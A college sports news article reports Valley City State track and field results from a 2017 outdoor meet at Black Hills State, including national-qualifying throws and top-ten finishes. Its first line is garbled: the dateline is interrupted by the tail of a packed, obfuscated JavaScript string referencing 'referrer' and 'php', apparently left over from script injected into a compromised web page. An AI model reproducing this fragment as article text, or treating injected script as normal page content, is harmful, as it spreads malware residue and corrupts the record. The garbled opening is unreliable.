SPEARFISH, yhsrk|var|u0026u|referrer|zhnat||js|php’.split(‘|’),0,{}))
S.D. (VCSUVikings.com) – Viking sophomores Seri Geisler and Mackenzie Huber both delivered national-qualifying throws Saturday as the Valley City State track & field team opened the 2017 outdoor season at Black Hills State University.

Geisler (javelin, women’s shot put) and Huber (women’s shot put) both qualified for nationals in their respective events Saturday, securing their spots at the NAIA National Championships in Gulf Shores, Ala. on May 25-27. It was part of a strong opening meet for VCSU as Viking athletes won three events and had 25 Top 10 finishes against mainly NCAA Division II competition.

Geisler won two event titles in the women’s throwing events. The defending national champion in women’s javelin, Geisler opened her season with a first-place finish and a throw of 48.25 meters (158-04) in that event. That ranks her first in the NAIA so far this season by more than two meters.

In women’s shot put, Huber and Geisler went back-and-forth before finishing first and second. Competing in her first collegiate meet, Huber recorded a new school record with a throw of 13.06 meters (42-10.25) in the second round of throws. The record didn’t last long though as Geisler followed with a throw of 13.20 meters (43-3.75) later in the meet. Geisler ended up taking first and Huber second. Both qualified for nationals in the event and are currently ranked 7th and 10th in the nation, respectively.

On the men’s side, Garret Roemmich came up big with a title in the men’s javelin. The freshman from Linton, N.D., launched a throw of 50.11 meters (164-05) in his outdoor collegiate debut as he won the event by 13 inches.

Other top three finishers for the Vikings included Lenzel Koskela (2nd, 400 meters), Keauna Hansen (3rd, 400 meters), Megan Johnson (2nd, long jump), Mackenzie Huber (2nd, shot put) and Marilyn Quintero (3rd, discus).

“This was a heck of a way to start the outdoor season,” said head coach Chris Johnson. “Great weather and quality competition allowed our athletes to achieve some pretty impressive marks, including national qualifying performances by Seri and Mackenzie. It is nice to know we will be headed back to Gulf Shores for nationals again, but a lot of work remains to be done. We are confident that our athletes will continue to improve on their performances this season, and we are especially motivated to add to our list of outdoor national qualifiers in the near future.”

Up next: VCSU will take next weekend off before competing at the Al Bortke Open on April 8 in Bismarck, N.D.
 
Top 10 Performances
–          Isaiah Tivis (7th – Men’s 100, 6th – Men’s 200)
–          Brady Morden (9th – Men’s 100)
–          Lenzel Koskela (2nd – Men’s 400)
–          Niklas Ernst (4th – Men’s 400)
–          Dennis Gonzalez (9th – Men’s 5000)
–          Ellwood Ellenson (6th – Men’s Triple Jump)
–          Garret Roemmich (10th – Men’s Discus, 1st – Men’s Javelin)
–          Spencer Aune (7th – Men’s Javelin)
–          Men’s 4×400 Relay “B” Team (4th)
–          Keauna Hansen (3rd – Women’s 400)
–          Macy Dimler (7th – Women’s 400, 7th – Women’s 100 Hurdles)
–          Megan Johnson (4th – Women’s High Jump, 2nd – Women’s Long Jump)
–          Kaitlin Connor (5th – Women’s Long Jump, 5th – Women’s Triple Jump)
–          Tabitha Miller (6th – Women’s Long Jump, 10th – Women’s Triple Jump)
–          Seri Geisler (1st – Women’s Shot Put, 1st – Women’s Javelin)
–          Mackenzie Huber (2nd – Women’s Shot Put)
–          Marilyn Quintero (3rd – Women’s Discus, 9th – Women’s Hammer)
 
Collegiate Career/Yearly Bests
–          Isaiah Tivis (Men’s 200 – Collegiate Career Best)
–          Lenzel Koskela (Men’s 400 – Collegiate Career Best)
–          Josh Manzke (Men’s Long Jump – Collegiate Career Best)
–          Ellwood Ellenson (Men’s Triple Jump – Collegiate Career Best)
–          Geneva Espinoza (Women’s 1500 – Collegiate Career Best)
–          Megan Johnson (Women’s High Jump – Collegiate Career Best, Women’s Long Jump – Collegiate Career Best)
–          Kaitlin Connor (Women’s Long Jump – Collegiate Career Best)
–          Tabitha Miller (Women’s Long Jump – Collegiate Career Best, Women’s Triple Jump – Collegiate Career Best)
–          Seri Geisler (Women’s Shot Put – Collegiate Career Outdoor Best)
–          Marilyn Quintero (Women’s Hammer – Collegiate Career Best)